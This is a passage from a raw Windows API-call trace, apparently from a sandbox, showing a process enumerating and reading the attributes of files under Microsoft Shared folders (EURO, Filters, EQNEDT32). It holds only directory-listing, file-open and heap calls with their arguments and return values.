lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0046.427] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0046.427] GetLastError () returned 0x12 [0046.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c7c0) returned 1 [0046.427] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0046.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.427] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0046.428] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0046.428] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0046.428] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0046.428] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0046.428] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0046.428] GetLastError () returned 0x12 [0046.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c6b0) returned 1 [0046.428] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0046.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0046.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0046.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0046.435] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0046.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.435] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0046.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.435] NtClose (Handle=0x184) returned 0x0 [0046.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c6b0 [0046.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.435] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0046.435] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.435] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0046.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.435] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0046.435] GetLastError () returned 0x12 [0046.435] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0046.435] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0046.435] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.436] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0046.436] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0046.436] GetLastError () returned 0x12 [0046.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.436] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0046.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c6b0) returned 1 [0046.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.436] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0046.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0046.445] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.445] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0046.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.445] NtClose (Handle=0x18c) returned 0x0 [0046.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c6b0 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.445] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0046.445] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.445] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.445] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0046.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0046.446] GetLastError () returned 0x12 [0046.446] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0046.446] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0046.446] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0046.446] GetLastError () returned 0x12 [0046.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.447] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0046.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c6b0) returned 1 [0046.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.447] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0046.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: 